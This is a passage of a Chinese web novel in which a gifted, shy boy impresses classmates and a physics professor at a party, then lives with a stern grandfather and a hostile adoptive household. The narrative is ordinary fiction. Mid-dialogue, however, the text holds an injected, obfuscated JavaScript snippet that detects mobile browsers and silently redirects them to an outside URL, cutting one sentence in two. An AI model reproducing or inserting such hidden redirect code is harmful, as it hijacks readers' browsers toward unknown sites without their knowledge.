“这孩子,有什么不敢说的,多点和他们玩,放开点。”何妈妈刚才第一眼就挺喜欢这个有点像混血儿的漂亮男生。 “你不要紧张!何嘉南的妈妈很好的,我们都喜欢黄阿姨。”钟小琳说,“我从幼儿园开始,最大的梦想就是嫁给何嘉南,这样的家庭绝对没婆媳矛盾。可惜何嘉南看不上我!”她用手肘怼了怼袁雅维。 “你要嫁他你怼我干嘛!”袁雅维被她一怼,蛋糕差点没拿稳。 “哟哟哟,这跆拳道女将的气势终于回来了!” 何西想挽回自己在孩子们心中的形象,便说,“我和阿姨给你们出题,你们能回答上的,每道题一分,到时候看谁分数多的,优先挑小礼物。” “礼物是另一套物理题集吗?那我们就先’谢谢’您了!” “送得好!只要不是送给我!哈哈!” 大家兴致勃勃。 “我看看哈,你们这学期开始学物理了,巧了。正是叔叔我的专业。先是一道基础题,牛顿的第一运动定律是什么?三、二、一!” 几乎所有人都把手举了起来。“再来,船浮在水上的吃水深度怎么计算?” 又几乎全员举手。“再来:……” “我来一道历史题,”何妈妈说,“唐太宗李世民是哪个朝代的皇帝?”“四大文明古国包括哪些国家?”“还有……” “要有趣一点儿的题!” “三个鸡蛋,要放在两只盘子,一只盘子必须放一个,怎么办?” “8个苹果,装进5个口袋中,每个口袋里都必须是双数,怎么放?” “叔叔阿姨,这是骗小学生么?来难一点的!”大家一边快速举手回答、抢到了奖票又一边大声嚷嚷,“别小看我们。” “好!叔又来一个哈,……。” 唐晔看了何嘉南一眼,何嘉南正想开口—— “6秒!”胖胖的王丽云叫道。 “对!”何西比出个大拇指,“下一题,你们这里有11名同学,定义每个同学都至少有一个朋友。如何证明:至少有两名学生有相同数量的朋友。” “抽屉原理:如果n+1个物体要放入n个抽屉,那么至少有一个抽屉中会有两个或更多的物体。”何柏文答道。 “好,我们来更进一步:材质相同,但颜色不同的袜子,共4种颜色。请问至少要摸出多少只袜子才能保证有4对袜子是各自同色?” “呃,11只?”何嘉南不太确定地喊道。 “棒!还来……” “叔,给条活路!”黑衣的黎梓茵叫道。 “那来一个英语题:What''s the smallest room in the world?” “A mushroom!”刚才一直很文静的女生王嫱抢答。 “再来,……” 大家都热烈地抢答,袁雅维见唐晔从一开始参与的热情就不高,一直在认真享用他的水果华夫饼,便小声问他,“你不会吗?” 他犹豫了一下,“会。” “那为什么不抢答哦?”“以前数学老师说,不要太另类。”唐晔放下手里的食物,认真解释着。 “对呀,我就好奇后来上课时你怎么就一言不发了。那你小学时呢?也这样吗?”袁雅维对这个男孩越来越好奇。 他记得自己没念过小学,但一时不知怎么当着众人解释,便含糊说,“也是这样啊。” 钟小琳故意扫了唐晔一眼,叫道:“何叔叔,来个难点的,我们的大天才嫌你的题太无聊了。”唐晔忙把头摇得像拨浪似的。 徐宇航也发现刚才这个新朋友的确一声不吭,想知道唐晔是不是传说中这么厉害,想跟他一较高下,便也说,“叔叔,来个再难点的吧。” 物理学院副院长何西便出了一道函数题。 何嘉南开始苦思冥想,省实的几个都在搜肠刮肚,但感觉完全没有头绪,徐宇航问何妈妈借了纸笔、和王嫱两人一起演算起来。何嘉南右边的三个人摇头晃脑只想放弃。 唐晔抬眼看了看题,兴趣不太大似的,又继续低头与华夫饼搏斗。 袁雅维问,“你想出来了?” “嗯。” “啊,怎么做?”袁雅维惊讶极了。 唐晔放下盘子和勺子,擦了擦嘴,“给你个提示。”他含笑看着她,又凑近她耳边,轻声说了起来。 周围弥漫着蛋糕的淡淡奶香,混合着身边男生的干净的树林气息,袁雅维心慌得很,一个字都没听进去。 “……有想法了没?” “啊?”轮到她茫然。 钟小琳看他们俩交头接耳的,便叫道,“喂,唐晔,你可不能只告诉她一个人!你会你干嘛不自己回答?” “胜之不武。这道题出自这本书——”他回头指指何西刚才饭桌上正翻阅的期刊,“昨晚刚好翻过了。” “哦!”正百思莫解的其他孩子听了这话,都松了一口气。 何西把饭桌上刚才那本书拿过来,边翻出原题边说:“这道题初看有点复杂,但其实换个思路没那么难。” “这本书是全英文的好不,这英语阅读能力也太可了。”陈浩然扫了一眼书。 “M国xx大学的期刊,后面通常都有些趣味题目。”何西解释。 “哇哦!” “我昨晚也看了这题,不过,我想的解题方法并不是用卷积函数,我用的函数我们中学课本里就有。所以我觉得你们也可以会的。”唐晔说。 “给点提示?你刚才和袁雅维怎么说的?”同学们问。 何西也笑着鼓励他,“小同学,来试下吧。” 唐晔犹犹豫豫地起身,从何西手里接过笔,画了几道新的坐标系,然后分别计算了a部b部和c部的函数。 “这不是正弦函数和余弦函数吗?!”总算何嘉南跟得上他的思维。 他对何嘉南会心笑笑,“对,然后,这个变换呢?就是你前几天跟我说过的傅里叶变换,我后来晚上又查了一下,看到有人利用这个来拆解更为复杂的卷积函数,所以昨晚一看这题一下子就想出这个解法了。” 何西说:“看这道题时我就记得国庆时跟南南讲过傅里叶变换,我就在想你们虽然都没了解过卷积函数,但总算应该对三角函数有所了解吧,就想着你们会不会有人解得出。” “…… 我们只听说过正弦余弦定理,没学到函数啊,本身这得高中知识了吧。何嘉南你懂吗?”王丽云问。 “爸爸讲过的我懂,但这个变换怎么运用我没自己演算过,也没跟唐晔聊过啊。” “那晚我查完后不是发了微信给你吗,你没回复我呀!” “你看,南南,人家就主动查了资料,所以现在就会了,这主动学习的态度就很棒……小同学,如果不用这个变换和三角函数,你还想到什么办法吗?”何西还想考考这思维敏捷的孩子。 “叔叔,我习惯编程解题,对于低阶函数我之前了解不多,不过既然最近和何嘉南讨论过这个问题,那就尝试一下用新学会的低阶函数去解呗,也挺好玩的。” “那你对编程也很熟?” “还行。”唐晔看着这位博导,莞尔一笑。 全场沉默。 好一会儿,钟小琳说,“我们考一百分,那是因为能力加运气。” 王丽云接口说,“学霸考一百分,那是因为试卷上只有100分。” “人比人比死人啊!”两人同声合奏。 黎梓茵说,“难道就我一个人觉得,看上去每个字都懂,连起来一个字都不懂吗?不过,学霸弟弟,你连写字都要写得那么漂亮吗?让人有点活路行吗?!”她装得有点盛气凌人。 白板上的运算符号连笔起来优美极了,就像一串英文在跳芭蕾。 唐晔本来与何西聊完后、兴奋得脸蛋微微泛着红,被她一抢白,立即又有点不安,他把笔递还给何叔叔,又低着头回到刚才的座位上。 “人家写字画画都很漂亮好吗!!”袁雅维拍了拍唐晔的肩膀,也半真半假地吼了回去,但她心里又得意极了,忍不住又晒,“上次我们班黑板报第一名,就是他画的。” “就是刚放完假就出的中国风那版吗?” “对,上次我都愁死了,原本负责墙报同学刚好发烧,我早上才去她家拿了材料,早读时想动员几个人一起中午开搞,当时竟然没人理我,我都快急死了。后来第四节体育课下课,回来一看,发现居然已经全画好了。我午读时问了全班,又没人承认。唐晔,看来是你画的吧,因为三四节没去上体育课的就你了。” “嗯……”唐晔低头小声回应,“反正你们上体育课时我很有空,就按你放在那儿的材料大致画了一下。” “这画得也太好了吧,我们下午放学去互相打分,大家都惊呆了。” 黎梓茵插嘴说:“弟弟,你别怕,姐姐刚才开玩笑的。你可别告诉你哥我这样和你说话,要不我怕被他骂死,你知道你哥什么性格啦!” “哦,我不会说的。”唐晔躲闪着她那上挑的眼神。 “弟弟,你好萌啊,和你哥真是天差地别。之前就觉得你哥除了拽没啥特别,上次有个法国访问团来我们学校,这家伙居然能用法语和老外顺利交流,那时候我就开始喜欢他了。”黎梓茵前倾着身体,隔着陈浩然和何嘉南、很大胆地挑逗唐晔,吓得他往沙发深处躲了躲:“嗯,哥哥的英语和法语都很不错……” 何嘉南一边拍着唐晔的肩膀一边用下巴指着黎梓茵说,“你喜欢人家大哥你吓他干嘛?再欺负我们的人,我等下立即告你状去!” “对了,我们三四班的男生是一起上体育课的,好像从没见过你,怪不得觉得你很面生。”本校4班的郑风说。 “免修了。”唐晔弱弱地说。 “啊,这都能免?我们学校对体育活动严格死了。”郑风疑惑。 唐晔抿嘴:“不想上,太累了。” “啊,不想上就能不上?”胖乎乎的王丽云也不爱上体育课。 钟小琳大大咧咧插嘴,“你们要是有他这脑子,不但不上体育课,你不上课老师也不理你呀!” “我不是……故意搞特殊……”在大家哄笑中,唐晔不安地紧贴着沙发后背。 何嘉南轻拍着他的肩膀,指着一圈女生说,“你看这班女的,净会欺负你,你下次别帮她们,连袁雅维也别帮,都是一伙的!她是班长,搞墙报本来就是她的活。你帮了她,我们班就拿不了第一了,我也当班长,压力山大的,你不如来帮我。”说到最后,他整张脸都皱起来了,装得自己像总理那么忙。 “何嘉南,你怎么能这样教唆他!唐晔,我是你们班班长,听我的,下次还是你出!”袁雅维被激起好胜心,便直接上手扯着唐晔的左臂说。 何嘉南坐在沙发扶手上,用手臂圈着唐晔脖子:“听哥的,还是听她的?” 袁雅维看着唐晔都快被何嘉南按在怀里了,心急起来:“唐晔,你清醒些,他们班是我们班的竞争对手!你听我的!”随即更进一步两手一起缠上唐晔的手臂。 斜对面的黎梓茵唯恐天下不乱:“弟弟,你听谁的?袁雅维?还是何嘉南?” 唐晔在众人注目下紧张极了:“我不知道……” “你喜欢谁,就选谁!来,遵从自己内心!”某黑衣飒爽的女生看来已经完全忘记有可能会被这弟弟的大哥痛骂这事。 唐晔的脸都憋红了,艰难说,“……何嘉南……” 尘埃落定。 “哇哈哈!”大家哄笑,“袁雅维,你有情敌了!” “好混乱的三角关系啊!” “a那个b,b那个c,但c选a!” 袁雅维囧得大叫,“什么情敌,别乱说!”她突然意识到刚才两手是怎么缠上唐晔、甚至连身体都差点儿贴到人家身上了,羞得捂着脸不敢说话。 这样一来,其实何嘉南也觉得自己刚开这个玩笑有点不妥。 袁雅维和自己从小学开始当正副班长,周围的人开了他们六年玩笑、认为他俩“天生一对”,但两人一直差点儿意思。而他从来没想过唐晔可能无意中成为了自己的“情敌”——从袁雅维今天这一整场的反应看来,袁雅维竟然已经对这个新同学心动了。 他有些茫然地放松了圈着唐晔脖子的手臂。 唐晔一被放开,立即转脸对袁雅维说,“抱歉,我不是不喜欢你,只是我认为应该先听最好的朋友的话。以后如果我们也成为了好朋友,我也会兼听你的话。” 大家又哄的笑了起来:“解释得很清楚,下次别说了!哈哈哈哈!” 袁雅维放下捂着脸的手,脸蛋还有余温,但她大度地说,“他们发疯,你不用管。按你的想法来就好了。” 唐晔又看向何嘉南,却敏感地发现他在躲自己的目光。 刚好这时,何西拿了几本书下来,一本本递给唐晔,说:“同学,这几本书有空翻一下吧。”看来何西挺喜欢这主动学习的男生。 唐晔忙站起来谢过何叔叔,但他看了封面就说:“这几本我看过了。” 何西说,“哟,你都看过了?” “嗯,我爷爷书房里有这书十几年前的第三版,小时候就常翻来看。后来我上网找了最新的英文第五版的也看过了。” “你行啊!第五版的国内还在校对中文翻译呢,我也参与校对了。那其他几本呢?” 何柏文看出自家堂弟对唐晔态度的变化,也察觉唐晔因为发现了这个变化而困惑和不安,就对唐晔说,“小晔,不如你跟叔叔去他书房看看,有很多书你感兴趣的。” 唐晔乐得离开这里,跟着何西上去二楼。 何嘉南突然对袁雅维说,“袁雅维,你陪唐晔一起上去吧,他胆小。” “你为什么不陪!”袁雅维开启怼怼模式。 “我招待大家呢,好歹大家是客。你是班长你陪陪他不行啊?”他凑近袁雅维:“哥给你制造机会!” “要你管!”袁雅维又红了脸,站起来转身走了。 两人一走,大家你一言我一语:“多年竹马,不如天降啊!” “这天降的表现,也太厉害了。就刚刚对袁雅维说那句话,是真单纯还是绿茶呢?” “他头脑这么聪明,怎么可能性格那么单纯,你小心别被骗了!” “南哥你是不是傻,还把小维送到他身边,别是老婆变弟妇了哈!” 何柏文摇摇头说:“头脑聪明,性格就不能单纯了?再说,他对袁雅维根本就没往男女那方面想好吗!黎梓茵,就像你喜欢唐天,你没发现唐天只对音乐很狂热,但对女人完全没想法?他这弟弟,也只对数理化感兴趣。人家看你们,就像看一群草履虫一样,单细胞,呵!” “你才草履虫!” “我呀,在他眼里好歹应该算得上是小强,哈哈哈哈!” 大家笑了起来,何嘉南也笑了,他的家人是他的底气,包括堂哥。 他喝了口饮料润润嗓子:“知道你们和我那么多年了,是关心我。唐晔是个能做朋友的人,他本人真的没啥心计,就是单纯坦荡。这些事情,别再当着他面说,也别开袁雅维的玩笑了,搞到他俩或我俩连朋友都做不成。再说,以我对袁雅维的了解,袁雅维有好胜心,但不强,她追他,坚持不下去。信不信就刚刚这一上去,她很快就会被打击了信心。唐晔头脑太厉害了,袁雅维跟不上他思维,自己都会觉得没趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942737|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “然后我们南哥就能送上自己坚实的臂膀。” 何嘉南瞥见妈妈从厨房出来,忙说,“想什么竹马啊、天降啊,想想好好学习啦!妈您说是是不!” 何妈妈对儿子的变脸,苦笑地摇摇头。 “来来,玩什么桌游?” 果然,开牌局不到十分钟,袁雅维先下了楼。 钟小琳一副包打听的神色,“怎么你先下来了?” “他们讨论的问题太高深了,听不懂。”袁雅维懊恼。 钟小琳又指着何嘉南说,“没事,何嘉南把肩膀借你。” 袁雅维转头重重地拍着何嘉南的肩膀说,“嗯,有你这好闺蜜,我真幸福!” 大家又起哄:“哎!南哥好失落……” 起哄声中,何妈妈说,“我也很欣赏你们这位新同学,他很聪明,头脑很好,这么小就能和叔叔聊一些专业问题。至于你们刚才说的喜欢一个人,其实并不一定要懂他的专业——你看我跟他爸就八杆子打不着一起,而是,用心,了解他的喜爱,支持他走出困境。 但,就自己来说,你们是否为自己喜欢的人而努力提升自己,这才重要。美好的暗恋可能会因为时间、距离而变化、不一定达成所愿,有可能自己以后也有更好的目标。但自己努力过、为之奋斗的过程,永远是自己的底气与力量。” 钟小琳又用手肘撞了撞袁雅维,“以后嫁给何嘉南的人一定很幸福,绝对没有婆媳矛盾。” “怎样,阿姨说漂亮话挺好听吧?哈哈哈!”何妈妈笑道。 “妈,您太多事了!罚您再给我们多洗些葡萄出来!谢谢妈!” 大家正和何妈妈一起玩桌游,“黄教授,你过来下。”何西带着唐晔下楼,又在餐桌那边让太太过来。 “这小同学刚才给我写了个程序,是关于提取论文关键词并翻译的。你让他也给你看看你电脑里的。”何西小声说。 黄莺也小声回答说:“这怎么好意思叫小同学搞!” “我们院里几个会搞,但我看他的代码更简洁,关键是信手拈来似的。你要不还是让他给看看?” “那,小同学,你也帮阿姨搞一下?” “没问题呀,只要您不担心我把您电脑弄坏了、或给您植入什么木马就行。”那边的朋友们的微妙反应让他觉得紧张,他想暂时呆在这两位更容易交流的长辈身边。 黄莺一边把电脑拿出来坐旁边看他写程序,一边说,“抱歉,小同学,阿姨刚才一下子没听清你叫什么名字。” “我叫唐晔,唐就是唐太宗的唐、晔是日华晔。” “哇,很好听的字!‘萋萋结绿枝,晔晔垂朱英。’你爸妈一定非常非常疼爱你,给你取了这么生机勃勃的名字。” “呵呵,也可能是他们随便翻字典翻到的吧。”唐晔随口应付道。 黄莺觉得这孩子给人的感觉与别的孩子完全不一样,忍不住逗他多说话:“你刚才说面试时让你阐述的孟子性善论的部分,是鱼与熊掌那一篇吗?” “鱼与熊掌此文,的确是小学课本上的关于是非取舍的论述。但我当时引用的是告子上一篇的水信一段。”男孩一边快速的写着程序,一边低声背诵了一段: “夫水搏而跃之,可使过颡;激而行之,可使在山。是岂水之性哉?其势则然也。人之可使为不善,其性亦犹是也。” 男孩随后又狡黠的笑了笑:“是这样的,刚才说了我第一场考试时迟到了,面试老师们看我其它科目的卷面成绩都挺不错,但是他们也担心我迟到是因为轻视学校、轻视考试制度而造成的,他们当时对我的态度是一分为二,究竟这样的人培养出来是好还是不好?我就自比是受了外力影响的水,向老师们表达了想积极向上的意思。”他的嘴边似笑非笑。 黄莺有些震惊,“你是说这不是老师抽你背的,而是你自己为自己辩驳的?你对自己的头脑很有自信啊?” “巧言、令色、足恭,余亦耻之。”男生嘴角含笑。 程序也很快写好了,他又给这位温柔的阿姨认真调试过,确认完全能正常使用了,才回到何嘉南后面,一声不吭看大家玩桌游。 吃吃喝喝一下午,傍晚时分,大家都说要赶紧回家完成作业了,才依依不舍地离开何家。何嘉南把同学们送到大学的大门口。大家几乎都骑车过来,只有唐晔一个人步行,何氏两兄弟陪着他走在最后。 走着走着,何嘉南诚恳地说,“刚才我对你和袁雅维开了个不太好的玩笑,那个,对不起呀!” 唐晔偏头想了一小会儿:“是吗?我不记得了。从叔叔那学到很多新知识,脑子都转不过来了。” “一切照旧?” “一切照旧。”两人相视一笑。 和钟小琳、王丽云一起推着自行车往前走时,袁雅维还一步三回头看着与何嘉南说着话的唐晔。 钟小琳揶揄道:“哎呀,女大不中留啊,小云,我们先回去吧!” “别呀,来啦!”袁雅维连忙推着车快跑两步跟上她们,“我是他的班长,听说他第一次来这边,担心他而已。”又回过头来对后面三个男孩喊到“拜拜!” 何嘉南连忙喊:“小心骑车,你家最远,真的不用送?” “然后我又得把你送回来吗?”袁雅维笑着说,“没问题啦,我又不是小孩了。” 唐晔这才留意到她,便问:“袁雅维,我送你?” “你怎么送?连车都没!就她一台自行车,你搭她还是她搭你呀?”钟小琳又逗唐晔。 话音未落,袁雅维连忙解围:“不用不用,我和她们一起骑一大段呢!” “那,你小心些。” “放心!我们走吧!” 刚出中大门口不远,钟小琳便在一个奶茶店前站住:“等下,买杯奶茶。” “啥,你还没饱?”王丽云说。 “我帮帮袁雅维!人家的心思一直在男神身上。帮她关心一下男神是搭公交还是坐地铁。公交还能知道大概方向呢。” “人家也有可能是打的呢?” 她们几人买了杯奶茶坐在店里靠外侧的地方。 没几分钟,就看到何柏文推着车,和唐晔一起走出大门。 何柏文问唐晔,“你真的会回去?我不送你,你真的行?” 唐晔说,“柏文哥哥放心!你先走吧!小心骑车。” “那我真走了!拜拜!” 三个女生见何柏文跨上车,两个男孩挥手告别。 唐晔沿着何柏文离开的方向,靠近路边悠然走了几步。 有点儿圆滚滚的王丽云说,“哇,他腿好长啊,又高又瘦,身材比例真好!肯定不喝奶茶。”一边说着就放下自己手里那杯。 “嘘,谁叫你喝!挡脸的!他向这边走来了,是去地铁站吗?”钟小琳小声猜测。 就在这时,一台全黑哑光的外形流畅的高大SUV,准确无误又安稳地停在她们目标的男孩面前。 男孩点头致意,车门自动打开了。高瘦的男孩长腿一迈,慢悠悠地转身、稳坐在车里。 车门轻巧地合上了。 随即这台低调安静的车再次平稳地开走了。 车屁股一转,这台车后面的简洁双R车标让它再也低调不起来。钟小琳停止拍照,翻看照片:“哇——,豪车呀!虽然不太懂,但看着就一个字,贵!这家伙还是个富二代呀!” “废话,谁送人生日礼物送一万多块的!”王丽云说,“一看就是霸道总裁——的儿子啦!” “袁雅维,早知刚才把你的破单车扔这儿,让他送你了。”三个女孩捂嘴又闹了一会。 唐晔坐上爷爷唐万里派来的车,回到位于云山深处的幽静大宅院。到达时,爷爷的老助理方源伯伯问他晚上想吃啥,他推说在同学家吃得很饱,只想洗澡休息。方源唠叨了两句也就随他去了。 他泡在浴缸里,雾气氤氲。 …… Nuit,你知道吗?从前,只要我做得好了,搏他一笑,我就会很开心。可是后来我再也不会开心了。 那条黑色的鱼,死了。 …… 4. 第 4 章 第二天,唐晔一早醒来,并不是自己的意愿。 爱穿木拖鞋的爷爷已经好几次踢踢踏踏地在他房中出入了,最后一次,甚至毫不留情地拉开窗帘。 少年在床上翻了个身,用被子盖住头装睡,那老头竟毫不留情地把被子扯走。孩子假装因寒冷而捂着嘴咳了几声,老头儿立即大声在他耳边说,“今天温度,22至28。”南粤的天气,真就是昨日秋霜,今日酷暑,“起来,别装了!” 唐晔只好揉着惺松的睡眼:“爷爷,早安,您这么早呢?” “还早!门口那株龙眼树的叶子,都让我薅秃了。” “那儿还有棵桂花呢!” “不行,桂花岂可能随便攀折。龙眼,嘿,我可不期待它能给我结啥好果子。” “您整天光逮着它一棵树薅,是棵树都不爱给你结果子了好不。” “起来起来,有好东西!” 少年连忙求饶:“我知道了,马上过去。” 老头儿才哼了一声,背着手走出去。 唐晔起床,仆妇为他整理了一下素白色交领睡衣,他自己又再次把领口扯得更密实些,就学着爷爷那样,穿着拖鞋踢踢踏踏往庭院出去。 “什么好东西啊?”孩子四顾,与往日并无不同。仆妇为孩子在亭子中备下点心。 唐万里坐在一旁,哼唧了一下,“能见光的,就不是什么好东西了。”老人拂几下袖子似是催促。 “神神秘秘。”唐晔甜美一笑,如了老人家心愿,简单吃了几口便起身跟他同去。 唐万里把他带到藏书阁,唐晔跟在军人复员的壮实的老人身后,吭哧吭哧地爬到顶层的小阁楼。老头儿还要装模作样合上门,让孙儿也戴上手套和口罩,这才从恒温箱里拿出一卷画。 唐晔定睛一看,不禁抿紧了嘴巴:“这,这东西您怎么弄得来?它应该在——” “对,哟,反正我就弄到了呗!可惜呀,破成这样!” “花了多少钱?……我倒是知道它在黑市被拍卖的消息,但不知是真是假。” “那你现在看到了?!” “可惜,是个残卷。”一边叹息,孩子一边拿着放大镜,好好鉴赏这幅已经破烂不堪的绢丝画作。 岁月的痕迹在画布上留下了深深的烙印,但依稀可见曾经的艳丽与辉煌。画面中的女性人物仿佛在向他诉说着一个个聪慧勇敢的古老故事。 末了,孩子由衷感叹道:“顾恺之的线条运用真是让人叹为观止。他巧妙地运用线条的粗细、浓淡和转折,将画中女性的身姿、气质和神韵都展现得淋漓尽致。这种线条的流畅与张力,不仅赋予了画面生命力,画中人物更是栩栩如生。令人惊艳啊!” 的确令人惊艳! 他全神贯注观赏这幅古画的同时,唐万里也在认真观察他。 老人不禁得意地感叹,这孩子正是自己亲手雕琢的作品,像极了晚星,完美无瑕,满意至极。 只可惜……若能向天再借百年,不,八十、甚至五十年足矣。 老幼相伴数十年,最后顺应天道,黑发人送白人。 但现在这样,就算了吧。 唐晔见祖父许久未曾答话,便抬头看了看祖父,目光相接的一刻,看见祖父眼中的防备与疏离。他略为茫然放下手中的放大镜,不知自己做错了什么。但他心思一转,马上摆出甜甜的笑容:“爷爷,我很喜欢它。能看到这幅画,三生有幸。” “嗯哼,好!三生有幸!”唐万里透过窗户看着院子里,枇杷树亭亭如盖。 唐晔还呆在书房里翻着古籍,忽然有张纸片从书中飘落,他捡起来一看,发黄的纸上有着一排排大小不一的毛笔字:“我是唐晚星大魔王!” “我爸最宠我!” “我哥是个蠢才!” “练什么毛笔字,还不如去睡觉!” 他看着亲生父亲的稚嫩的字,不由得笑出声来,原来爸爸小时候也有着这么有趣的童年呢!只可惜他出生时,爸爸已经不在了。 哦,他还是有爸爸的,就是他的伯父,唐山海,唐天的父亲。 他的笑声惊动了不远处练字的唐万里。看到这孩子的笑颜,唐万里忍不住笑着招手让他过来自己身边。 唐晔扬起手中带给自己欢乐的纸片,想博爷爷一乐。 但当唐万里看到这张纸时,他的脸色一变:“哪来的!给我!”一把抢过来揉成团,然后凶巴巴地吼道:“给我滚!” 少年不敢申辩,也没有用,他只能落荒而逃。 Nuit,你知道吗?今早我们明明相处愉快,我以为爷爷还是很喜欢我呢! 正如去年12月末、参加完唐天的生日会,晚上回到大宅,跟爷爷说起“父母哥哥”的事时,许是自己说得太过欢乐,过了几天,爷爷就把自己送给他们家。 为什么要我顺从、却不允我自在?要我敬爱、却不应我期待? 今年的元旦刚过,唐晔就开始了在“爸爸妈妈”和“哥哥”家的生活。 唐晔带来的只有一个书包和一个小拉杆箱。打开里面,就几件衣服,电脑,平板,电源,仅此而已。 归秀兰让家里常驻的几个阿姨都过来向三少爷打招呼:“这位是刘姨,以前是你笑姐姐的保姆,现在是管家;这位是张姨,平时主要负责爸爸和我那一层的所有东西,这位是吴姨,吴姨从小照顾你哥哥长大,这位是黄姨,是我们的厨师,这位是陈姨,主要负责家里的卫生、跑腿采买什么的,这样吧,陈姨最近负责照顾三少爷。另招到人了再说。” 唐晔安静地坐在沙发上,向母亲和那位方脸大块头、看上去特别忠厚的陈姨点点头,表示自己认得了。 倒是方源怕唐晔在这里没人照顾,便说道:“大太太、容我说一句,三少爷自小体弱,可能需要找个懂医疗护理知识的人跟着照看才行。而且……” 归秀兰大手一挥:“小天从小也是这帮人跟着,还不是这么长大?” “可是……” “这样吧,方助理,您要是有事嘱咐,您直接跟陈姨说吧。其他人散了。” “这老陈摊上事儿了,老太爷那儿送了尊佛过来。伺候好了那是份内的事,伺候不好那可是要命的。” “不也就一小孩,我看脾气倒是不差。怎么就难伺候了?” “这小孩看着就阴森森的,听说小时候是早产儿,身体弱得很。动不动就病,一病大半个月。今天那个方先生交代老陈的话,要注意怎样怎样的那些,谈了大半个小时,你说这还不难伺候啊?” “所以当时夫人才不要他?” “夫人夫人,你是不是傻,你难道看不出,他与夫人、甚至与我们老爷,都是两个字——不!熟!” “啊?那他是谁的小孩?” “嗯呵,连夫人以前都私下称他为私生子,你说呢!” “私生子,又不是我们老爷的,难不成,是老太爷的?” “你们闭嘴吧!安静做好份内的事。”刘管家过来打断这两个无聊的同事。 第二天醒来时,唐晔听到楼下闹哄哄的。他一步一步探身下楼梯时,爸爸妈妈和哥哥都已经围在饭桌边正在吃早餐,三四个仆人围着他们打转。 唐天一边左手吃面包,吴姨麻利地抓起他的右手臂塞进校服一只袖子;这少爷右手捧起牛奶喝,吴姨又利索地把他左手塞进另一边袖子;他又咚咚咚地跺着两只脚叫道,“我今天要穿那双白色的新球鞋,我不要这双,赶紧给我换!” 这边,妈妈归秀兰正对着电话在发火,见唐天还一副不紧不慢的样子,稍微挡一下手机麦克风又吼了唐天两句,再对着手机风风火火地继续说下去。 唐天觉得被妈妈批评得太憋屈,撞进刚才一直举着报纸、把自己与外界隔断开的唐山海怀里寻求安慰,却没留意到唐山海刚刚端起一杯咖啡,他这一撞,把咖啡撞得洒在唐山海的胸前。唐山海一巴掌拍在他的屁股上,又急匆匆查看儿子的头和脖子,有没有被咖啡烫到。 归秀兰放下电话赶紧拉起丈夫去换衬衣,一边还安排着司机送唐天去上学的事情。 大家纷纷站了起来。 突然,吴姨那尖利的声音响起:“三少爷,你站在那里干什么?”大家才抬起头看着这个外来的男孩。六七个人像被施了魔法定住一样,场面突然安静下来。 唐晔对着大家笑笑,一步一步走下楼梯,对名义上的父母和兄长恭敬地问候早安。但除了唐山海,没有一个人理睬他。 片刻之后,归秀兰才骂着陈姨:“作死了你,干嘛不去叫三少爷起床?” 陈姨委屈地回嘴:“那个方总昨天说,早上不要催促他起床,让他睡到自然醒的,这不,一干活回头我就把这事给忘了。” 唐天便叫道,“妈,这不公平,为啥我早上就得起得比鸡早?” “你问我?问你爷爷去!谁让你读书不争气不会讨你爷爷欢心啊?” “我管那老头子干嘛呀,能讨你欢心就行了呗。”唐天对着妈妈甜甜笑道。 “就你嘴巴像吃了蜜似的!快上学去!老公,快去换上我前天才给你新买的那件衬衣。” “放在哪?” “哎,我给你拿吧!” 她挽着唐山海的手臂,两夫妻从唐晔身边经过时,唐山海随意说了一句,“小晔,要吃什么早餐跟黄姨和陈姨说啊!” 唐晔低声应了句,“好。” 等到三个主人离席,保姆们也开始收拾桌子。陈姨过来问他想吃什么,他看了看桌面,随口说,“面包。” 陈姨端出两片烤方包和一杯牛奶,放在男孩面前。男孩闻了闻,看了她一眼,说,“请您下次不用给我准备这种牛奶了。” “小孩子要多喝牛奶,才能长得高长得快的!” “我对普通牛奶过敏,只能喝水解蛋白奶。方伯伯应该和您说过的。” “哦,对对对,我忘了。我回头和太太说去。” “谢谢。”小孩有礼貌地说着,拿起烤得有点焦的面包,就着温水吃了起来。 没有了别人,这个早餐吃得一如既往地安静。 他吃完早餐,唐山海夫妇也已经各自回公司去了,没人记得经过餐厅时跟他告个别。他在自己房里过着和往常一样无聊的上午。 中午1点多,他在偌大的新家里穿行,安静的走廊里回荡着自己的脚步声。他下了一层楼,平时在爷爷家,他一坐到饭桌就有仆妇为他送上餐食。现在在餐厅里,他没看到任何摆放好的食物,也没见到任何仆人。 他听见厨房的方向有说话的声音,便走了过去,轻轻敲了敲那边的一扇门。 没有人回答,他轻轻地转着门把手。门开了,哥哥的保姆吴姨和负责煮饭的黄姨正在坐在工作阳台的一张小折叠桌边聊天。小孩有礼貌地对她们说,“你们好。我想吃午饭。” 那两个仆妇被开门声打断了谈话,停了一下,又像没见到他一样,继续说着刚才的话题。 小孩提高了一点音量:“黄姨,我现在想吃午饭,请您为我准备一下。” 被主人家小孩点到名的保姆黄姨很是不爽,重重地把茶杯拍到桌子上,对这小孩蛮横地说,“刚才问你又不吃,也不看看现在几点钟了,没饭吃!” 他回想起陈姨一个来小时前上来叫过他吃午饭,但他还没饿。“我平时都是饿了才吃的。”小孩有点委屈地对黄姨解释。 “你饿了关我屁事!老爷、太太和少爷中午都不在,我们平时也就12点钟随便吃吃,偏你来了就得要我随时做饭。”她说话粗声粗气。 小孩冷冷的,定定地看着她:“黄姨,这是您的工作,请您现在马上做午饭。”他幽深的眼睛一直盯着黄姨的脸,让这保姆心虚起来。 旁边的尖嘴猴腮的吴姨拍了她手臂一下,用家乡话劝说,“去吧去吧。毕竟是老太爷家送过来的人,别把老太爷惹不高兴了,老爷罚我们。” 黄姨一边起身一边用家乡话回应吴姨:“不就一私生子,还不知是谁的种。这么难搞。” 很快,她随随便便炒了一个青瓜炒肉片,又煮了个鸡蛋面,就算是打发了这个小孩。 